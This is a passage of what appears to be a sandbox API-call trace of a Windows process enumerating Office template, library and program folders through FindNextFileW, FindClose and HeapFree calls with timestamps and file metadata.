	[0076.992] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0076.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0076.994] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1
	[0076.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.998] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0076.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0076.998] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0076.999] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0077.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.009] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0077.009] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0077.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0077.010] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0077.011] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0077.013] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0077.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0077.013] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0077.013] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0077.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.014] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0077.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0077.017] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0077.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.019] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0077.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.022] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0077.023] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0077.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0077.025] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0077.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.321] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0077.321] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0077.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.322] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0077.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.331] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0077.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0077.332] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0077.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.358] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0077.358] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0077.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0077.359] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0077.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0077.361] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0077.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.364] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0077.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.364] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0077.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0077.366] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0077.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.369] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0077.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.369] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0077.370] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.370] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0077.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.597] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0077.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.598] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0077.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0077.600] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0077.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.602] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0077.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.604] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0077.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.641] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0077.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0077.642] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0077.642] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0077.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ce658 | out: hHeap=0x4f0000) returned 1
	[0077.644] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0077.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.646] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0077.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0077.647] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0077.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0077.650] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0077.650] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0077.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
